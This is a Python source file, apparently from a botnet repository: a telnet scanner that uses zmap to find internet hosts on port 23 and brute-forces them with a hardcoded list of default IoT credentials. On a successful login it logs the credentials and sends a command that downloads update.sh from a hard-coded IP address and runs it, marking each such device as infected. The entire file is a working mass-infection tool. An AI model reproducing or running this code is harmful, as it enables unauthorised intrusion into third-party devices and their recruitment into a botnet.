Path: blob/master/Botnets/Scanning/TELNET/telnet_zmap_scanner.py
5038 views
#!/usr/bin/python1import threading2import sys, os, re, time, random, socket, select, subprocess3# USE ONLY 1 TO 16 THREADS UNLESS U WANNA CRASH UR SERVER45if len(sys.argv) < 3:6print "Usage: python "+sys.argv[0]+" <threads> <output file>"7sys.exit()89global rekdevice10rekdevice = "cd /tmp; wget http://185.10.68.196/update.sh; busybox wget http://185.10.68.196/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send1112combo = [13"root:root",14"root:",15"admin:admin",16"telnet:telnet",17"support:support",18"user:user",19"admin:",20"admin:password",21"root:vizxv",22"root:admin",23"root:xc3511",24"root:888888",25"root:xmhdipc",26"root:default",27"root:juantech",28"root:123456",29"root:54321",30"root:12345",31"root:pass",32"ubnt:ubnt",33"root:klv1234",34"root:Zte521",35"root:hi3518",36"root:jvbzd",37"root:anko",38"root:zlxx.",39"root:7ujMko0vizxv",40"root:7ujMko0admin",41"root:system",42"root:ikwb",43"root:dreambox",44"root:user",45"root:realtek",46"root:00000000",47"admin:1111111",48"admin:1234",49"admin:12345",50"admin:54321",51"admin:123456",52"admin:7ujMko0admin",53"admin:1234",54"admin:pass",55"admin:meinsm",56"admin:admin1234",57"root:1111",58"admin:smcadmin",59"admin:1111",60"root:666666",61"root:password",62"root:1234",63"root:klv123",64"Administrator:admin",65"service:service",66"supervisor:supervisor",67"guest:guest",68"guest:12345",69"guest:12345",70"admin1:password",71"administrator:1234",72"666666:666666",73"888888:888888",74"tech:tech",75"mother:fucker"76]7778threads = int(sys.argv[1])79output_file = sys.argv[2]8081def readUntil(tn, string, timeout=8):82buf = ''83start_time = time.time()84while time.time() - start_time < timeout:85buf += tn.recv(1024)86time.sleep(0.1)87if string in buf: return buf88raise Exception('TIMEOUT!')8990def recvTimeout(sock, size, timeout=8):91sock.setblocking(0)92ready = select.select([sock], [], [], timeout)93if ready[0]:94data = sock.recv(size)95return data96return ""9798class router(threading.Thread):99def __init__ (self, ip):100threading.Thread.__init__(self)101self.ip = str(ip).rstrip('\n')102def run(self):103global fh104username = ""105password = ""106for passwd in combo:107if ":n/a" in passwd:108password=""109else:110password=passwd.split(":")[1]111if "n/a:" in passwd:112username=""113else:114username=passwd.split(":")[0]115try:116tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)117tn.settimeout(1)118tn.connect((self.ip, 23))119except Exception:120tn.close()121break122try:123hoho = ''124hoho += readUntil(tn, ":")125if ":" in hoho:126tn.send(username + "\r\n")127time.sleep(0.1)128else:129tn.close()130return131hoho = ''132hoho += readUntil(tn, ":")133if ":" in hoho:134tn.send(password + "\r\n")135time.sleep(0.1)136prompt = ''137prompt += recvTimeout(tn, 40960)138if "#" in prompt or "$" in prompt:139for bad in ["nvalid", "ailed", "ncorrect", "enied", "error", "goodbye", "bad", "timeout", "##"]:140if bad in prompt.lower():141print "\033[32m[\033[31m+\033[32m] [\033[31mFAILED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)142tn.close()143continue144success = True145else:146success = False147tn.close()148if success == True:149try:150print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)151fh.write(self.ip + ":23 " + username + ":" + password + "\n")152fh.flush()153tn.send("sh\r\n")154time.sleep(0.1)155tn.send("shell\r\n")156time.sleep(0.1)157tn.send("ls /\r\n")158time.sleep(1)159timeout = 8160buf = ''161start_time = time.time()162while time.time() - start_time < timeout:163buf += recvTimeout(tn, 40960)164time.sleep(0.1)165if "tmp" in buf and "unrecognized" not in buf:166tn.send(rekdevice + "\r\n")167print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)168f = open("infected.txt", "a")169f.write(self.ip + ":23 " + username + ":" + password + "\n")170f.close()171time.sleep(10)172tn.close()173return174tn.close()175return176except:177tn.close()178else:179tn.close()180except:181tn.close()182183def worker():184while True:185cmd = "zmap -p23 -N 10000 -f saddr -q --verbosity=0"186process = subprocess.Popen(cmd.split(" "), stdout=subprocess.PIPE)187for line in iter(process.stdout.readline, ''): # replace '' with b'' for Python 3188line = line.replace("\n", "")189threadstarted = False190while not threadstarted:191try:192thread = router(line)193thread.start()194threadstarted = True195except:196pass197198199global fh200fh = open(output_file, "a")201for l in xrange(threads):202try:203t = threading.Thread(target=worker)204t.start()205except:206pass207208print "Started " + str(threads) + " scanner threads! Press enter to stop."209210raw_input()211os.kill(os.getpid(), 9)212213